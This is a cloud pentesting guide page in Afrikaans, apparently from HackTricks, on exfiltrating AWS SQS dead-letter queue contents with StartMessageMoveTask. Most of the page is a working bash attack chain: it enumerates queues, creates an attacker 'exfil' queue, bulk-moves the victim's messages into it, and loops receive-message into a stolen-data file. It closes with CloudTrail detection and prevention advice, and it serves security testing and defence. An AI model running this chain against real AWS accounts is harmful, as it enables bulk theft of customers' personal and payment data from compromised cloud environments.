# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

{{#include ../../../../banners/hacktricks-training.md}}

## Beskrywing

Misbruik SQS message move tasks om alle opgehoopte boodskappe van 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur hulle na 'n deur die aanvaller beheerde queue om te lei met `sqs:StartMessageMoveTask`. Hierdie tegniek benut AWS se geldige boodskapherstel-funksie om sensitiewe data wat oor tyd in DLQs opgehoop het te exfiltrate.

## Wat is 'n Dead-Letter Queue (DLQ)?

'n Dead-Letter Queue is 'n spesiale SQS queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels:
- Sensitiewe toepassingsdata wat nie verwerk kon word nie
- Foutbesonderhede en debugging-inligting
- Persoonlike identifiseerbare inligting (PII)
- API-tokens, credentials, of ander geheime
- Besigheidskritieke transaksiedata

DLQs dien as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.

## Aanvalscenario

**Werklike voorbeeld:**
1. **E-commerce application** verwerk kliëntbestellings via SQS
2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif
3. **DLQ stapel op** weke/maande se mislukte bestellings met kliëntdata: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Aanvaller kry toegang** tot AWS credentials met SQS-permissies
5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat
6. **In plaas van te probeer om individuele boodskappe te bekom** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om ALLE boodskappe in grootmaat na hul eie queue oor te dra
7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie

## Vereistes
- Die bron-queue moet gekonfigureer wees as 'n DLQ (verwys deur ten minste een queue RedrivePolicy).
- IAM-permissies (uitgevoer as die gekompromitteerde slagoffer-principal):
- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` van die slagoffer-principal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat.
- As SSE-KMS aangeskakel is: op bron CMK `kms:Decrypt`, en op bestemming CMK `kms:GenerateDataKey`, `kms:Encrypt`.

## Impak
**Potensiële impak**: Exfiltrate sensitiewe payloads wat in DLQs opgehoop het (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur ingeboude SQS APIs te gebruik. Werk kruis-rekening indien die bestemmings-queue-beleid `SendMessage` van die slagoffer-principal toelaat.

## Hoe om misbruik te maak

- Identifiseer die slagoffer DLQ ARN en verseker dat dit werklik as 'n DLQ verwys word deur 'n of ander queue (enige queue is goed).
- Skep of kies 'n deur die aanvaller beheerde bestemmings-queue en kry sy ARN.
- Begin 'n message move task vanaf die slagoffer DLQ na jou bestemmings-queue.
- Monitor vordering of kanselleer indien nodig.

### CLI-voorbeeld: Exfiltrating Customer Data from E-commerce DLQ

**Scenario**: 'n Aanvaller het gekompromitteerde AWS credentials en het ontdek dat 'n e-commerce toepassing SQS gebruik met 'n DLQ wat mislukte kliëntbestelverwerkingspogings bevat.

1) **Ontdek en ondersoek die slagoffer DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Skep attacker-controlled bestemming-queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Voer die grootskaalse boodskapdiefstal uit**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Versamel die gesteelde sensitiewe data**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Kruis-rekening notas
- Die bestemmings-queue moet 'n resourcebeleid hê wat die benadeelde principal toelaat om `sqs:SendMessage` te gebruik (en, indien van toepassing, KMS-toekennings/toestemmings).

## Waarom hierdie aanval effektief is

1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadwillig op te spoor  
2. **Grootmaat-bewerking**: Dra vinnig duisende boodskappe oor eerder as stadige individuele toegang  
3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande  
4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie  
5. **Kruis-rekening in staat**: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat

## Opsporing en voorkoming

### Opsporing
Monitor CloudTrail vir verdagte `StartMessageMoveTask` API-oproepe:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Voorkoming
1. **Minimale regte**: Beperk `sqs:StartMessageMoveTask` regte tot slegs die nodige rolle
2. **Moniteer DLQs**: Stel CloudWatch alarms in vir ongebruiklike DLQ-aktiwiteit
3. **Kruis-rekeningbeleid**: Gaan SQS queue policies wat cross-account access toelaat noukeurig na
4. **Enkripteer DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide
5. **Gereelde opskoning**: Moet nie sensitiewe data vir onbepaalde tyd in DLQs ophoop nie

{{#include ../../../../banners/hacktricks-training.md}}
